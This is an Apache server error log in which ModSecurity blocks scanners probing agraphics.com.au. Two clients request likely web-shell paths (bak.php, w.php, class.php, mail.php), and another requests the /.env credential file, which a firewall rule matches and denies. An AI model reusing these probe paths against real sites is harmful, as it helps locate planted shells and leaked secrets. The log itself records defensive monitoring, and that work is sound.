[Fri Dec 26 14:36:11.623602 2025] [proxy_fcgi:error] [pid 34865:tid 34889] [client 203.159.81.16:34599] AH01071: Got error 'Primary script unknown'
[Fri Dec 26 14:36:12.111596 2025] [proxy_fcgi:error] [pid 34865:tid 34877] [client 203.159.81.16:34599] AH01071: Got error 'Primary script unknown'
[Fri Dec 26 14:36:12.575629 2025] [proxy_fcgi:error] [pid 34865:tid 34891] [client 203.159.81.16:34599] AH01071: Got error 'Primary script unknown'
[Fri Dec 26 14:36:13.079828 2025] [proxy_fcgi:error] [pid 34865:tid 34886] [client 203.159.81.16:34599] AH01071: Got error 'Primary script unknown'
[Fri Dec 26 14:36:13.550614 2025] [proxy_fcgi:error] [pid 34865:tid 34888] [client 203.159.81.16:34599] AH01071: Got error 'Primary script unknown'
[Fri Dec 26 14:36:14.514678 2025] [:error] [pid 34865:tid 34880] [client 203.159.81.16:34599] [client 203.159.81.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/hello.php"] [unique_id "aU4s3qi4zjVVKBdvuTSDbwAAAU0"]
[Sat Dec 27 04:17:42.048030 2025] [:error] [pid 32278:tid 32288] [client 93.123.109.58:57640] [client 93.123.109.58] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aU7tZn-IfCN2Cy9GcchZegAAAMg"]
[Sat Dec 27 04:42:04.284713 2025] [proxy_fcgi:error] [pid 32191:tid 32205] [client 20.196.89.188:59995] AH01071: Got error 'Primary script unknown'
[Sat Dec 27 04:42:04.761246 2025] [proxy_fcgi:error] [pid 32191:tid 32216] [client 20.196.89.188:59995] AH01071: Got error 'Primary script unknown'
[Sat Dec 27 04:42:05.453331 2025] [proxy_fcgi:error] [pid 32191:tid 32203] [client 20.196.89.188:59995] AH01071: Got error 'Primary script unknown'
[Sat Dec 27 04:42:05.592623 2025] [proxy_fcgi:error] [pid 32191:tid 32198] [client 20.196.89.188:59995] AH01071: Got error 'Primary script unknown'
[Sat Dec 27 04:42:05.742361 2025] [proxy_fcgi:error] [pid 32191:tid 32208] [client 20.196.89.188:59995] AH01071: Got error 'Primary script unknown'
[Sat Dec 27 04:42:05.884721 2025] [proxy_fcgi:error] [pid 32191:tid 32197] [client 20.196.89.188:59995] AH01071: Got error 'Primary script unknown'
[Sat Dec 27 04:42:06.028609 2025] [proxy_fcgi:error] [pid 32191:tid 32209] [client 20.196.89.188:59995] AH01071: Got error 'Primary script unknown'
[Sat Dec 27 04:42:06.166559 2025] [proxy_fcgi:error] [pid 32191:tid 32202] [client 20.196.89.188:59995] AH01071: Got error 'Primary script unknown'
[Sat Dec 27 04:42:06.314632 2025] [proxy_fcgi:error] [pid 32191:tid 32211] [client 20.196.89.188:59995] AH01071: Got error 'Primary script unknown'
[Sat Dec 27 04:42:06.836385 2025] [proxy_fcgi:error] [pid 32191:tid 32217] [client 20.196.89.188:59995] AH01071: Got error 'Primary script unknown'
[Sat Dec 27 04:42:06.972313 2025] [:error] [pid 32191:tid 32196] [client 20.196.89.188:59995] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bak.php"] [unique_id "aU7zHrPNtMgrjVCHIdFtdwAAAAE"]
[Sat Dec 27 04:42:08.746947 2025] [:error] [pid 32193:tid 32265] [client 20.196.89.188:60277] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bak.php"] [unique_id "aU7zIBgw0eCOc2qYqaIBEQAAAI8"]
[Sat Dec 27 04:42:09.416071 2025] [:error] [pid 32191:tid 32207] [client 20.196.89.188:60314] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bak.php"] [unique_id "aU7zIbPNtMgrjVCHIdFtegAAAAw"]
[Sat Dec 27 04:42:10.970476 2025] [:error] [pid 32191:tid 32216] [client 20.196.89.188:60300] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bak.php"] [unique_id "aU7zIrPNtMgrjVCHIdFtggAAABU"]
[Sat Dec 27 04:42:12.205362 2025] [:error] [pid 32193:tid 32250] [client 20.196.89.188:60056] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/readme.php"] [unique_id "aU7zJBgw0eCOc2qYqaIBHwAAAIA"]
[Sat Dec 27 04:42:13.617129 2025] [:error] [pid 32191:tid 32197] [client 20.196.89.188:61212] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/readme.php"] [unique_id "aU7zJbPNtMgrjVCHIdFthwAAAAI"]
[Sat Dec 27 04:42:16.475625 2025] [:error] [pid 32191:tid 32200] [client 20.196.89.188:59982] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/readme.php"] [unique_id "aU7zKLPNtMgrjVCHIdFtkQAAAAU"]
[Sat Dec 27 04:42:17.609795 2025] [:error] [pid 32193:tid 32257] [client 20.196.89.188:61220] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/readme.php"] [unique_id "aU7zKRgw0eCOc2qYqaIBJwAAAIc"]
[Sat Dec 27 04:42:19.099491 2025] [:error] [pid 32193:tid 32271] [client 20.196.89.188:60310] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "aU7zKxgw0eCOc2qYqaIBLgAAAJU"]
[Sat Dec 27 04:42:20.695432 2025] [:error] [pid 32191:tid 32208] [client 20.196.89.188:60230] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "aU7zLLPNtMgrjVCHIdFtnQAAAA0"]
[Sat Dec 27 04:42:22.859913 2025] [:error] [pid 32191:tid 32217] [client 20.196.89.188:61185] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "aU7zLrPNtMgrjVCHIdFtpgAAABY"]
[Sat Dec 27 04:42:24.197854 2025] [:error] [pid 32192:tid 32242] [client 20.196.89.188:61226] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "aU7zMC_q0VFe066lbk-soAAAAFM"]
[Sat Dec 27 04:42:24.999746 2025] [:error] [pid 32191:tid 32198] [client 20.196.89.188:60250] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a.php"] [unique_id "aU7zMLPNtMgrjVCHIdFttAAAAAM"]
[Sat Dec 27 04:42:26.156516 2025] [:error] [pid 32192:tid 32246] [client 20.196.89.188:61215] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a.php"] [unique_id "aU7zMi_q0VFe066lbk-spgAAAFc"]
[Sat Dec 27 04:42:27.100429 2025] [:error] [pid 32191:tid 32219] [client 20.196.89.188:60322] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a.php"] [unique_id "aU7zM7PNtMgrjVCHIdFtvAAAABg"]
[Sat Dec 27 04:42:28.150617 2025] [:error] [pid 32192:tid 32243] [client 20.196.89.188:60296] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a.php"] [unique_id "aU7zNC_q0VFe066lbk-sqwAAAFQ"]
[Sat Dec 27 04:42:29.546404 2025] [:error] [pid 32278:tid 32293] [client 20.196.89.188:61206] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin2.php"] [unique_id "aU7zNX-IfCN2Cy9GcchnwAAAAM0"]
[Sat Dec 27 04:42:30.680609 2025] [:error] [pid 32278:tid 32289] [client 20.196.89.188:60251] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin2.php"] [unique_id "aU7zNn-IfCN2Cy9GcchnxAAAAMk"]
[Sat Dec 27 04:42:33.018614 2025] [:error] [pid 32192:tid 32232] [client 20.196.89.188:59985] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin2.php"] [unique_id "aU7zOS_q0VFe066lbk-suwAAAEk"]
[Sat Dec 27 04:42:34.593792 2025] [:error] [pid 32278:tid 32300] [client 20.196.89.188:60009] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin2.php"] [unique_id "aU7zOn-IfCN2Cy9Gcchn0gAAANQ"]
[Sat Dec 27 04:42:37.533052 2025] [:error] [pid 32278:tid 32287] [client 20.196.89.188:60246] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dropdown.php"] [unique_id "aU7zPX-IfCN2Cy9Gcchn4wAAAMc"]
[Sat Dec 27 04:42:38.662351 2025] [:error] [pid 32278:tid 32300] [client 20.196.89.188:59969] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dropdown.php"] [unique_id "aU7zPn-IfCN2Cy9Gcchn6AAAANQ"]
[Sat Dec 27 04:42:40.899131 2025] [:error] [pid 32278:tid 32304] [client 20.196.89.188:60346] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dropdown.php"] [unique_id "aU7zQH-IfCN2Cy9Gcchn6gAAANg"]
[Sat Dec 27 04:42:41.397237 2025] [:error] [pid 32192:tid 32231] [client 20.196.89.188:61213] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dropdown.php"] [unique_id "aU7zQS_q0VFe066lbk-swwAAAEg"]
[Sat Dec 27 04:42:42.610829 2025] [:error] [pid 32193:tid 32258] [client 20.196.89.188:6757] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/link.php"] [unique_id "aU7zQhgw0eCOc2qYqaIBbQAAAIg"]
[Sat Dec 27 04:42:43.527325 2025] [:error] [pid 32278:tid 32302] [client 20.196.89.188:60295] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/link.php"] [unique_id "aU7zQ3-IfCN2Cy9Gcchn9QAAANY"]
[Sat Dec 27 04:42:44.197787 2025] [:error] [pid 32193:tid 32253] [client 20.196.89.188:6730] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/link.php"] [unique_id "aU7zRBgw0eCOc2qYqaIBeQAAAIM"]
[Sat Dec 27 04:42:45.010841 2025] [:error] [pid 32193:tid 32267] [client 20.196.89.188:59989] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/link.php"] [unique_id "aU7zRRgw0eCOc2qYqaIBfQAAAJE"]
[Sat Dec 27 04:42:46.207360 2025] [:error] [pid 32193:tid 32259] [client 20.196.89.188:60332] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-trackback.php"] [unique_id "aU7zRhgw0eCOc2qYqaIBhgAAAIk"]
[Sat Dec 27 04:42:47.448734 2025] [:error] [pid 32193:tid 32262] [client 20.196.89.188:60248] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-trackback.php"] [unique_id "aU7zRxgw0eCOc2qYqaIBlAAAAIw"]
[Sat Dec 27 04:42:49.831210 2025] [:error] [pid 32193:tid 32261] [client 20.196.89.188:60306] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-trackback.php"] [unique_id "aU7zSRgw0eCOc2qYqaIBnwAAAIs"]
[Sat Dec 27 04:42:51.426325 2025] [:error] [pid 32193:tid 32265] [client 20.196.89.188:60287] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-trackback.php"] [unique_id "aU7zSxgw0eCOc2qYqaIBpAAAAI8"]
[Sat Dec 27 04:42:52.091548 2025] [:error] [pid 32278:tid 32295] [client 20.196.89.188:59978] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w.php"] [unique_id "aU7zTH-IfCN2Cy9GcchoEAAAAM8"]
[Sat Dec 27 04:42:53.176108 2025] [:error] [pid 32278:tid 32301] [client 20.196.89.188:60233] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w.php"] [unique_id "aU7zTX-IfCN2Cy9GcchoFgAAANU"]
[Sat Dec 27 04:42:54.574382 2025] [:error] [pid 32191:tid 32212] [client 20.196.89.188:60270] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w.php"] [unique_id "aU7zTrPNtMgrjVCHIdFt-AAAABE"]
[Sat Dec 27 04:42:56.386312 2025] [:error] [pid 32191:tid 32197] [client 20.196.89.188:61210] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w.php"] [unique_id "aU7zULPNtMgrjVCHIdFt-wAAAAI"]
[Sat Dec 27 04:42:57.917803 2025] [:error] [pid 32193:tid 32253] [client 20.196.89.188:60228] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "aU7zURgw0eCOc2qYqaIBtgAAAIM"]
[Sat Dec 27 04:42:58.872155 2025] [:error] [pid 32191:tid 32199] [client 20.196.89.188:60269] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "aU7zUrPNtMgrjVCHIdFt_wAAAAQ"]
[Sat Dec 27 04:43:00.648057 2025] [:error] [pid 32192:tid 32244] [client 20.196.89.188:59972] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "aU7zVC_q0VFe066lbk-s3QAAAFU"]
[Sat Dec 27 04:43:02.423496 2025] [:error] [pid 32278:tid 32284] [client 20.196.89.188:60333] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "aU7zVn-IfCN2Cy9GcchoOAAAAMQ"]
[Sat Dec 27 04:43:03.411173 2025] [:error] [pid 32191:tid 32216] [client 20.196.89.188:59973] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mail.php"] [unique_id "aU7zV7PNtMgrjVCHIdFuAwAAABU"]
[Sat Dec 27 04:43:04.325243 2025] [:error] [pid 32191:tid 32205] [client 20.196.89.188:60086] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mail.php"] [unique_id "aU7zWLPNtMgrjVCHIdFuCAAAAAo"]
[Sat Dec 27 04:43:06.359108 2025] [proxy_fcgi:error] [pid 32191:tid 32214] [client 20.196.89.188:60319] AH01071: Got error 'Primary script unknown'
[Sat Dec 27 04:43:06.502618 2025] [proxy_fcgi:error] [pid 32191:tid 32202] [client 20.196.89.188:60319] AH01071: Got error 'Primary script unknown'
[Sat Dec 27 04:43:06.647157 2025] [proxy_fcgi:error] [pid 32191:tid 32207] [client 20.196.89.188:60319] AH01071: Got error 'Primary script unknown'
[Sat Dec 27 04:43:06.790181 2025] [proxy_fcgi:error] [pid 32191:tid 32216] [client 20.196.89.188:60319] AH01071: Got error 'Primary script unknown'
[Sat Dec 27 04:43:06.967751 2025] [proxy_fcgi:error] [pid 32191:tid 32200] [client 20.196.89.188:60319] AH01071: Got error 'Primary script unknown'
[Sat Dec 27 04:43:07.119054 2025] [proxy_fcgi:error] [pid 32191:tid 32209] [client 20.196.89.188:60319] AH01071: Got error 'Primary script unknown'
[Sat Dec 27 04:43:07.265263 2025] [proxy_fcgi:error] [pid 32191:tid 32198] [client 20.196.89.188:60319] AH01071: Got error 'Primary script unknown'
[Sat Dec 27 04:43:07.403991 2025] [proxy_fcgi:error] [pid 32191:tid 32205] [client 20.196.89.188:60319] AH01071: Got error 'Primary script unknown'
[Sat Dec 27 04:43:07.543047 2025] [proxy_fcgi:error] [pid 32191:tid 32208] [client 20.196.89.188:60319] AH01071: Got error 'Primary script unknown'
[Sat Dec 27 04:43:07.688684 2025] [proxy_fcgi:error] [pid 32191:tid 32212] [client 20.196.89.188:60319] AH01071: Got error 'Primary script unknown'
[Sat Dec 27 04:43:09.030808 2025] [proxy_fcgi:error] [pid 32191:tid 32198] [client 20.196.89.188:60319] AH01071: Got error 'Primary script unknown'
[Sat Dec 27 04:43:09.696767 2025] [:error] [pid 32191:tid 32208] [client 20.196.89.188:60319] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/options.php"] [unique_id "aU7zXbPNtMgrjVCHIdFuNQAAAA0"]
[Sat Dec 27 04:43:10.930139 2025] [:error] [pid 32191:tid 32213] [client 20.196.89.188:60038] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/options.php"] [unique_id "aU7zXrPNtMgrjVCHIdFuOgAAABI"]
[Sat Dec 27 04:43:12.477781 2025] [:error] [pid 32191:tid 32208] [client 20.196.89.188:60303] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/options.php"] [unique_id "aU7zYLPNtMgrjVCHIdFuSQAAAA0"]
[Sat Dec 27 04:43:13.681646 2025] [:error] [pid 32191:tid 32214] [client 20.196.89.188:59979] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/options.php"] [unique_id "aU7zYbPNtMgrjVCHIdFuUgAAABM"]
[Sat Dec 27 04:43:14.475692 2025] [:error] [pid 32278:tid 32284] [client 20.196.89.188:61232] [client 20.196.89.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/brand.php"] [unique_id "aU7zYn-IfCN2Cy9GcchoYAAAAMQ"]
